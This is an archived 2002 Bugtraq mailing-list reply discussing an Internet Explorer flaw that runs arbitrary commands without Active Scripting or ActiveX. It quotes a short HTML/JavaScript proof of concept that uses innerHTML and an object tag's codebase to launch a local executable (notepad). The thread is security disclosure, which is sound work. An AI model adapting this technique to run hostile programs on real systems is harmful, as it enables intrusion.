Bugtraq mailing list archives

Re: IE execution of arbitrary commands without Active Scripting or ActiveX (GM#001-IE)

From: the Pull <osioniusx () yahoo com>
Date: Fri, 1 Mar 2002 10:55:10 -0800 (PST)

It was initially erroneous, though after Dave Ahmad
found the problem went with the window object, as well
that day, it was obvious that the problem was not with
the "popup" object. I believe as much was stated in
Dave's post. I added the note to my advisory and let
the reader fill in the blanks.

Furthermore, Tom Glider found another instance of this
quite sometime ago which went entirely unreported
outside of the Usenet:

 
http://groups.google.com/groups?hl=en&threadm=3C659F91.EAA0913C%40bn.com&rnum=4&prev=/groups%3Fq%3DTom%2Bgroup:alt.fan.cult-dead-cow%26hl%3Den%26scoring%3Dd%26selm%3D3C659F91.EAA0913C%2540bn.com%26rnum%3D4

 Quote:

 "btw, I thought you'd like to know that your nice "IE
 PopUp OBJECT Advisory"
 isn't actually a bug in the popup object - its more
to
 do with the way IE
 handles ActiveX objects created using innerHTML. This
 means that IE5.0 (and
 maybe 4) might be affected too.

 The following works in IE6 on Windows 98:

 <html>
 <script>
 onload = function() {
  document.body.innerHTML = '<object
 classid="CLSID:11111111"
 codebase="c:/windows/notepad.exe"></object>';
 }
 </script>
 </html>"

Regardless, it is interesting to see it bypass these
potential security restrictions.


__________________________________________________
Do You Yahoo!?
Yahoo! Greetings - Send FREE e-cards for every occasion!
http://greetings.yahoo.com

Current thread:

IE execution of arbitrary commands without Active Scripting or ActiveX (GM#001-IE) GreyMagic Software (Mar 01)
- Re: IE execution of arbitrary commands without Active Scripting or ActiveX (GM#001-IE) the Pull (Mar 01)
- Re: IE execution of arbitrary commands without Active Scripting or ActiveX (GM#001-IE) Stefan Osterlitz (Mar 01)
  - Re: IE execution of arbitrary commands without Active Scripting or ActiveX (GM#001-IE) Peter Wu (Mar 03)
  - RE: IE execution of arbitrary commands without Active Scripting or ActiveX (GM#001-IE) + Workaround. GreyMagic Software (Mar 03)
- RE: IE execution of arbitrary commands without Active Scripting or ActiveX (GM#001-IE) Thomas Thornbury (Mar 04)
  - RE: IE execution of arbitrary commands without Active Scripting Nick FitzGerald (Mar 05)